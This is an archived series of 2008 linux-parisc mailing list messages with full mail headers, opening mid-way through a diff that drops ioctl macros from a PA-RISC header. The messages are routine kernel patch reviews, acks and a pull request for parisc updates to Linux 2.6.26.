-#define _IOC_DIRSHIFT	(_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
 /*
  * Direction bits.
  */
@@ -54,40 +39,6 @@
 #define _IOC_WRITE	2U
 #define _IOC_READ	1U

-#define _IOC(dir,type,nr,size) \
-	(((dir)  << _IOC_DIRSHIFT) | \
-	 ((type) << _IOC_TYPESHIFT) | \
-	 ((nr)   << _IOC_NRSHIFT) | \
-	 ((size) << _IOC_SIZESHIFT))
-
-/* provoke compile error for invalid uses of size argument */
-extern unsigned int __invalid_size_argument_for_IOC;
-#define _IOC_TYPECHECK(t) \
-	((sizeof(t) == sizeof(t[1]) && \
-	  sizeof(t) < (1 << _IOC_SIZEBITS)) ? \
-	  sizeof(t) : __invalid_size_argument_for_IOC)
-
-/* used to create numbers */
-#define _IO(type,nr)		_IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)	_IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)	_IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)	_IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOR_BAD(type,nr,size)	_IOC(_IOC_READ,(type),(nr),sizeof(size))
-#define _IOW_BAD(type,nr,size)	_IOC(_IOC_WRITE,(type),(nr),sizeof(size))
-#define _IOWR_BAD(type,nr,size)	_IOC(_IOC_READ|_IOC_WRITE,(type),(nr),sizeof(size))
-
-/* used to decode ioctl numbers.. */
-#define _IOC_DIR(nr)		(((nr) >> _IOC_DIRSHIFT) & _IOC_DIRMASK)
-#define _IOC_TYPE(nr)		(((nr) >> _IOC_TYPESHIFT) & _IOC_TYPEMASK)
-#define _IOC_NR(nr)		(((nr) >> _IOC_NRSHIFT) & _IOC_NRMASK)
-#define _IOC_SIZE(nr)		(((nr) >> _IOC_SIZESHIFT) & _IOC_SIZEMASK)
-
-/* ...and for the drivers/sound files... */

From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
	variables
Date: Thu, 15 May 2008 09:58:57 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20080515135857.GH12850@phobos.i.cabal.ca>
References: <200805030002.11151.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210859951 10961 80.91.229.12 (15 May 2008 13:59:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 13:59:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 15:59:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jwdzl-0002mk-FA
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 15:59:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753622AbYEON67 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 09:58:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754283AbYEON67
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 09:58:59 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:53115 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753622AbYEON66 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 09:58:58 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id F3C9617806E; Thu, 15 May 2008 09:58:57 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200805030002.11151.deller@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/312>

On Sat, May 03, 2008 at 12:02:10AM +0200, Helge Deller wrote:
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (2-255)"
> +	range 2 255
>  	depends on SMP
>  	default "32"
> +	help
> +	  This allows you to specify the maximum number of CPUs which this
> +	  kernel will support.  The maximum supported value is 255 and the
> +	  minimum value which makes sense is 2.
>  

Er. Why?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] fix trivial section name warnings
Date: Thu, 15 May 2008 10:53:39 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20080515145339.GL12850@phobos.i.cabal.ca>
References: <200805022202.48586.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210863594 25458 80.91.229.12 (15 May 2008 14:59:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 14:59:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 17:00:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jweqj-0002wd-Ag
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 16:54:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758517AbYEOOxn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 10:53:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758902AbYEOOxm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 10:53:42 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:45116 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757744AbYEOOxl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 10:53:41 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 90A7617806E; Thu, 15 May 2008 10:53:39 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200805022202.48586.deller@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/313>

On Fri, May 02, 2008 at 10:02:48PM +0200, Helge Deller wrote:
> --- a/arch/parisc/kernel/perf_asm.S
> +++ b/arch/parisc/kernel/perf_asm.S
> @@ -41,7 +41,7 @@
>  ; The coprocessor only needs to be enabled when
>  ; starting/stopping the coprocessor with the pmenb/pmdis.
>  ;
> -	.text
> +	__HEAD
>  

You didn't build test this. :(
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] flag parameters: arch-specific SOCK_NONBLOCK
Date: Thu, 15 May 2008 10:58:26 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20080515145826.GM12850@phobos.i.cabal.ca>
References: <200805130431.m4D4Vo5e017311@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210863821 26493 80.91.229.12 (15 May 2008 15:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 15:03:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	akpm@linux-foundation.org, torvalds@linux-foundation.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1760596AbYEOO6h@vger.kernel.org Thu May 15 17:04:12 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1760596AbYEOO6h@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwevX-0005D0-Mb
	for glk-linux-kernel-3@gmane.org; Thu, 15 May 2008 16:59:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760596AbYEOO6h (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 15 May 2008 10:58:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755252AbYEOO62
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 15 May 2008 10:58:28 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:56130 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754000AbYEOO61 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 15 May 2008 10:58:27 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 80FD617806E; Thu, 15 May 2008 10:58:26 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200805130431.m4D4Vo5e017311@devserv.devel.redhat.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:680859 gmane.linux.ports.parisc:314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/314>

On Tue, May 13, 2008 at 12:31:50AM -0400, Ulrich Drepper wrote:
> The value of O_NONBLOCK clashes on Alpha dn PARISC with the bits used
> for socket types.  Therefore we cannot define SOCK_NONBLOCK as
> O_NONBLOCK on these platforms.  This patch adds support for an
> arch-specific SOCK_NONBLOCK value which doesn't add costs for
> other architectures.
> 
>  include/asm-alpha/socket.h  |    5 +++++
>  include/asm-parisc/socket.h |    5 +++++
>  include/linux/net.h         |    2 ++
>  net/socket.c                |    9 +++++++++
>  4 files changed, 21 insertions(+)
> 
> 
> Signed-off-by: Ulrich Drepper <drepper@redhat.com>
> 

This looks fine to me. Thanks, Ulrich!

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: Remove ioctl.h content picked up from
	<asm-generic/ioctl.h>.
Date: Thu, 15 May 2008 11:02:02 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20080515150202.GN12850@phobos.i.cabal.ca>
References: <alpine.LFD.1.10.0805141511400.22428@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210864099 27634 80.91.229.12 (15 May 2008 15:08:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 15:08:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Robert P. J. Day" <rpjday@crashcourse.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 17:08:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jweyp-0006hj-1H
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 17:02:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755089AbYEOPCF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 11:02:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755730AbYEOPCF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 11:02:05 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:34831 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755089AbYEOPCE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 11:02:04 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 31F2B17806E; Thu, 15 May 2008 11:02:02 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.1.10.0805141511400.22428@localhost.localdomain>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/315>

On Wed, May 14, 2008 at 03:14:52PM -0400, Robert P. J. Day wrote:
> 
> Now that <asm-generic/ioctl.h> allows overriding of the most commonly
> changed macro values, take advantage of that.
> 
> Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>
> 
> ---
> 
>   i *think* this leaves an equivalent ioctl.h file, but feel free to
> check it carefully and tweak if necessary.
> 

looks right to me. i'll yell if it ended up breaking something. :)

applied.

r, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc updates for 2.6.26
Date: Thu, 15 May 2008 15:37:14 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <20080515153714.GA10374@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1210866297 3917 80.91.229.12 (15 May 2008 15:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 15:44:57 +0000 (UTC)
Cc: kyle@mcmartin.ca, akpm@linux-foundation.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 17:45:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwfXx-0006zo-84
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 17:39:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761509AbYEOPiF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 11:38:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761501AbYEOPiF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 11:38:05 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:38564 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758894AbYEOPiD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 11:38:03 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19EatL3oeEZmeFs1rZkogVKFGmOqPWipu4@localhost [127.0.0.1])
	by hera.kernel.org (8.13.8/8.13.8) with ESMTP id m4FFbEjJ011152
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 15 May 2008 15:37:14 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.13.8/8.13.1/Submit) id m4FFbEmb011151;
	Thu, 15 May 2008 15:37:14 GMT
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
X-Spam-Status: No, score=-3.5 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0rc1 (hera.kernel.org [127.0.0.1]); Thu, 15 May 2008 15:37:15 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:316 gmane.linux.kernel:680889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/316>

The following changes since commit 492c2e476eac010962850006c49df326919b=
284c:
  Linus Torvalds (1):
        Linux 2.6.26-rc2

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Alan Cox (1):
      parisc: new termios definitions

Harvey Harrison (2):
      parisc: replace remaining __FUNCTION__ occurrences
      drivers/parisc: replace remaining __FUNCTION__ occurrences

Helge Deller (1):
      parisc: fix trivial section name warnings

Johannes Weiner (1):
      parisc: remove redundant display of free swap space in show_mem()

Kyle McMartin (3):
      parisc: use conditional macro for 64-bit wide ops
      parisc: remove -traditional from assembler flags
      arch/parisc/kernel/perf_asm.S: build fix

Robert P. J. Day (1):
      parisc: Remove ioctl.h content picked up from <asm-generic/ioctl.=
h>.

S.=C3=87a=C4=9Flar Onur (1):
      arch/parisc/kernel/unaligned.c: use time_* macros

 arch/parisc/hpux/gate.S        |    3 +-
 arch/parisc/hpux/wrappers.S    |    3 +-
 arch/parisc/kernel/Makefile    |    3 --
 arch/parisc/kernel/entry.S     |   49 +++++++++++---------------
 arch/parisc/kernel/head.S      |    2 +-
 arch/parisc/kernel/hpmc.S      |    3 +-
 arch/parisc/kernel/inventory.c |    2 +-
 arch/parisc/kernel/pacache.S   |   73 ++++++++++++++++++++------------=
-------
 arch/parisc/kernel/perf_asm.S  |    4 ++-
 arch/parisc/kernel/real2.S     |   13 ++++---
 arch/parisc/kernel/syscall.S   |    5 ++-
 arch/parisc/kernel/traps.c     |    2 +-
 arch/parisc/kernel/unaligned.c |    5 ++-
 arch/parisc/lib/fixup.S        |    3 +-
 arch/parisc/lib/lusercopy.S    |    5 ++-
 arch/parisc/lib/memcpy.c       |    2 +-
 arch/parisc/mm/init.c          |    2 -
 drivers/parisc/asp.c           |    2 +-
 drivers/parisc/ccio-dma.c      |   36 ++++++++++----------
 drivers/parisc/dino.c          |   14 ++++----
 drivers/parisc/gsc.c           |    4 +-
 drivers/parisc/lasi.c          |    2 +-
 drivers/parisc/lba_pci.c       |   22 ++++++------
 drivers/parisc/led.c           |    2 +-
 drivers/parisc/sba_iommu.c     |   42 +++++++++++-----------
 drivers/parisc/wax.c           |    2 +-
 include/asm-parisc/assembly.h  |    6 +--
 include/asm-parisc/ioctl.h     |   51 +---------------------------
 include/asm-parisc/ioctls.h    |    4 ++
 include/asm-parisc/termbits.h  |    5 ++-
 include/asm-parisc/termios.h   |    6 ++-
 31 files changed, 167 insertions(+), 210 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] fix trivial section name warnings
Date: Thu, 15 May 2008 22:20:34 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <482C9B12.7050902@gmx.de>
References: <200805022202.48586.deller@gmx.de> <20080515145339.GL12850@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210882889 997 80.91.229.12 (15 May 2008 20:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 20:21:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 22:22:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jwjx9-0008K4-He
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 22:21:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753142AbYEOUUl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 16:20:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753629AbYEOUUl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 16:20:41 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37231 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753142AbYEOUUk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 16:20:40 -0400
Original-Received: (qmail invoked by alias); 15 May 2008 20:20:38 -0000
Original-Received: from mnhm-590f79a6.pool.einsundeins.de (EHLO halden.box) [89.15.121.166]
  by mail.gmx.net (mp045) with SMTP; 15 May 2008 22:20:38 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18vei00bfYvKo34PJKxbBIsCO6JPyqPZxCLSbzPjb
	maI3incFHhCi/5
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080515145339.GL12850@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/317>

Hi Kyle,

Kyle McMartin wrote:
> On Fri, May 02, 2008 at 10:02:48PM +0200, Helge Deller wrote:
>> --- a/arch/parisc/kernel/perf_asm.S
>> +++ b/arch/parisc/kernel/perf_asm.S
>> @@ -41,7 +41,7 @@
>>  ; The coprocessor only needs to be enabled when
>>  ; starting/stopping the coprocessor with the pmenb/pmdis.
>>  ;
>> -	.text
>> +	__HEAD
>>  
> 
> You didn't build test this. :(

Of course I did build-tested and booted this patch.
Not sure in which problems you run (or what changed in the meantime...).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
 variables
Date: Thu, 15 May 2008 22:22:43 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <482C9B93.9010701@gmx.de>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210883103 1886 80.91.229.12 (15 May 2008 20:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 20:25:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 22:25:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwjzW-00015d-Gp
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 22:23:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751669AbYEOUWu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 16:22:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751952AbYEOUWt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 16:22:49 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53698 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751669AbYEOUWs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 16:22:48 -0400
Original-Received: (qmail invoked by alias); 15 May 2008 20:22:47 -0000
Original-Received: from mnhm-590f79a6.pool.einsundeins.de (EHLO halden.box) [89.15.121.166]
  by mail.gmx.net (mp022) with SMTP; 15 May 2008 22:22:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+MOQ0Dog2M6fi07pJbE/D6Vqv/dYfNBvF0w3jY2F
	ZbBYZQTxqOfpij
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080515135857.GH12850@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/318>

Kyle McMartin wrote:
> On Sat, May 03, 2008 at 12:02:10AM +0200, Helge Deller wrote:
>>  config NR_CPUS
>> -	int "Maximum number of CPUs (2-32)"
>> -	range 2 32
>> +	int "Maximum number of CPUs (2-255)"
>> +	range 2 255
>>  	depends on SMP
>>  	default "32"
>> +	help
>> +	  This allows you to specify the maximum number of CPUs which this
>> +	  kernel will support.  The maximum supported value is 255 and the
>> +	  minimum value which makes sense is 2.
>>  
> 
> Er. Why?

This is mostly copied over from x86 arch and I think it doesn't make 
anything worse...
Doesn't Superdomes support more than 32 CPUs ? (although I think 
superdome isn't supported yet, or is it?)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
	variables
Date: Thu, 15 May 2008 16:35:17 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20080515203517.GP12850@phobos.i.cabal.ca>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca> <482C9B93.9010701@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210883747 4270 80.91.229.12 (15 May 2008 20:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 20:35:47 +0000 (UTC)
